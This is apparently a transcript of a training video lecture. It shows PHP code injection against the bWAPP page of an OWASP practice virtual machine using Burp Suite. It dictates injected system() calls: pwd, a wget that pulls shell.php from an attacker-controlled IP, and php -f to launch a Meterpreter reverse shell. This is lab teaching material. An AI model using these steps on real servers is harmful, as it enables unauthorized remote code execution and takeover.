Hello everybody and welcome back.
And now before we continue to the next tutorial where I will actually show you some of the exploits
that you can run on Metasploitable,
let me just show you real quick what PHP code injection is. Now
it is very similar to the previous lecture where we covered the OS command injection, but right now
let us open the same page.
So it is located on the bWAPP on our OWASP virtual machine. Go right here and find the PHP code
injection.
Once you click on that click here on hack, and here you have a simple page which basically just says
this is just a test page reflecting back your message.
So if you just click on the message it will say test. If you click on the message
once again it will once again say test.
Now you might be asking yourself, well there isn't any input right here which we can input our code.
Well that's true.
But if we actually try to intercept these with our burpsuite,
so open up your burpsuite and click here on the intercept on. We want to have the intercept on.
And once again if you click here on the message, it will show us a packet that we sent to the web server.
Now it looks very normal until you notice that there is actually user input right here.
So this is not something that you have a form to input on the website, but if you intercept the packet,
you can actually input it right here.
So what I mean by that. Right now since this is a PHP code injection we need to use a function, system,
and then open up your brackets, and then let's type pwd, which is print working directory.
So, we just type that right here.
So system pwd, that is a function that will print our working directory. And when we forward this packet,
wou will see that we no longer get the test as a result but we get the current working directory of
that virtual machine, or basically of our OWASP virtual machine.
And just like that we can now know that the server is vulnerable to the PHP code injection.
So, what we can do from there, we can actually perform the same type of the attack as we performed in
the previous video.
So I will show you. If we click on the message once again and intercept the next packet,
you can actually just download the shell.php the same way we downloaded it from in previous video.
So what you would do...but in this case you would do a system first and then open up your brackets. And
then type the same command, weget, 192.168.1.15. Or, basically, here you would
specify your own IP address if you're running of course Apache on your Kali Linux machine. If
you're running Apache 2 on some other machine, you will specify the IP address of that other machine
that is hosting the Apache 2 with your shell.php file. And you also need to add /shell.php
so it knows which file to download from there. And only what you need to do from there is close the
quotes, and then close the brackets.
Once you do that, you just need to forward this packet and this packet.
And this basically will, let us just turn the intercept off, and what this will do is it will basically
download the shell.php to the target machine, as it did in the previous video.
So right now if I just type here
ls once again, and I go right here, and then system open brackets, ls close quotes, close brackets,
and then I forward it, same as in the previous video. Right now
if I go right here we should be able to find the shell.php file.
So here it is right here.
We can see that we successfully uploaded the shell.php on to our target web server. And right now
what you would do is basically just click on the message once again. And what you would do is type here
system, and then the next thing you would do is basically php.
So php -f and then shell.php. You will close the quotes, close the brackets, and then you will
forward this packet as well.
Now what this will do, this will basically,
so let me just close this,
this will basically connect to our own listening machine, which is our Kali Linux machine, and it will
prompt us with our meterpreter shell.
Now it won't connect since I didn't really open up my Metasploit framework, and didn't specify the
LHOST
and LPORT, and that exploit multi hander that we did in the previous video.
So it really won't connect anywhere at the moment.
But I just wanted to show you the exact same process that we did in the previous video just with the
PHP code injection. If you want to try to exploit it you can do what I said with this. But before
you run the program itself with the last command, which was the php -f and then the shell.php,
you want to specify this listener in our Metasploit framework.
Now the listener is the same as in the previous video,
so I will not be covering that.
Now in the next video what I will show you is how you can actually use some of the attacks and exploit
Metasploitable. Since I can't really run Metasploitable,
I will only show you the process to get to exploit it.
I will not be really exploiting it since it doesn't work here.
I hope you enjoyed this tutorial and I hope to see you in the next one.
Bye!